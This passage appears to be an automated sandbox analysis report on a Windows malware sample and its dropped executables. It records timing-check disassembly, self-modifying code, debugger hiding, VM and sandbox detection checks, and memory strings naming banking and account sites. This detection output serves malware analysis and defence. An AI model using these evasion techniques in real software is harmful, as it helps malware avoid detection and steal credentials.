Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6776B9 second address: 6776BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6776BF second address: 6776CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6776CC second address: 6776D6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCDDCF97D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 677811 second address: 67781B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FCDDCC991D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 67781B second address: 677888 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FCDDCF97D28h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jns 00007FCDDCF97D2Eh 0x00000018 pushad 0x00000019 jno 00007FCDDCF97D16h 0x0000001f jmp 00007FCDDCF97D20h 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 jmp 00007FCDDCF97D1Eh 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 jo 00007FCDDCF97D30h 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FCDDCF97D1Eh 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 677888 second address: 67788C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 677969 second address: 67796D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 677A90 second address: 677A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 678D71 second address: 678D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 67CA00 second address: 67CA0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 67CA0A second address: 67CA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 67CA10 second address: 67CA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 67CD65 second address: 67CD69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 67CD69 second address: 67CD75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 67CD75 second address: 67CD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 67D1A4 second address: 67D1B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6809EA second address: 680A04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCF97D26h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 680A04 second address: 680A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 680A08 second address: 680A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCDDCF97D25h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 680A2B second address: 680A84 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jo 00007FCDDCC991EBh 0x00000010 jmp 00007FCDDCC991E5h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 jmp 00007FCDDCC991E8h 0x0000001e pop eax 0x0000001f xor dword ptr [ebp+122D1D00h], ecx 0x00000025 push 75C8B179h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d jnp 00007FCDDCC991D6h 0x00000033 push ebx 0x00000034 pop ebx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 680BBC second address: 680BC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 680E8A second address: 680E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 680E8E second address: 680E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 680F63 second address: 680F67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 680F67 second address: 680F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 681583 second address: 681593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCC991DCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 681607 second address: 68165B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007FCDDCF97D20h 0x00000010 pushad 0x00000011 je 00007FCDDCF97D16h 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a xchg eax, ebx 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007FCDDCF97D18h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 mov edi, dword ptr [ebp+122D3AE5h] 0x0000003b push eax 0x0000003c jng 00007FCDDCF97D1Eh 0x00000042 push ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6818A6 second address: 6818B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6818B7 second address: 6818C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FCDDCF97D16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6818C2 second address: 6818C7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 681ABC second address: 681AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCF97D21h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 681AD1 second address: 681AEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1CEBCF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1CEAB0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3734DB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 38148B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1CEAF0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3F8949 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Special instruction interceptor: First address: 4DDE5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Special instruction interceptor: First address: 4DDF4B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Special instruction interceptor: First address: 6777AA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Special instruction interceptor: First address: 69DCA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Special instruction interceptor: First address: 67F381 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Special instruction interceptor: First address: 70D3CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Special instruction interceptor: First address: F8E9B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Special instruction interceptor: First address: F8C2DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Special instruction interceptor: First address: 1143535 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 89E9B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 89C2DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A53535 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Special instruction interceptor: First address: 4E088E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Memory allocated: 52B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Memory allocated: 5660000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Memory allocated: 53D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Code function: 5_2_00672645 rdtsc

5_2_00672645

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Code function: 5_2_00689BC9 sldt word ptr [eax]

5_2_00689BC9

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1040	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1351	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1398	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 514	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 985	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1353	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 541	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6320	Thread sleep count: 57 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6320	Thread sleep time: -114057s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2616	Thread sleep count: 1040 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2616	Thread sleep time: -2081040s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6400	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4976	Thread sleep count: 1351 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4976	Thread sleep time: -2703351s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5004	Thread sleep count: 1398 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5004	Thread sleep time: -2797398s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4928	Thread sleep count: 514 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4928	Thread sleep time: -1028514s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5768	Thread sleep count: 985 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5768	Thread sleep time: -1970985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5004	Thread sleep count: 1353 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5004	Thread sleep time: -2707353s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4976	Thread sleep count: 541 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4976	Thread sleep time: -1082541s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe TID: 4996	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000008.00000002.3007025861.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmp, file.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2851386876.000000000099C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184027561.000000000099C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe, 00000006.00000003.2940060776.00000000019FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2552771160.0000000005398000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe, 00000006.00000003.2940060776.00000000019FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2552771160.0000000005393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Code function: 5_2_0068DA27 Start: 0068DA72 End: 0068DA76		5_2_0068DA27
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Code function: 6_2_05710478 Start: 05710A2C End: 05710514		6_2_05710478

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process queried: DebugPort	Jump to behavior
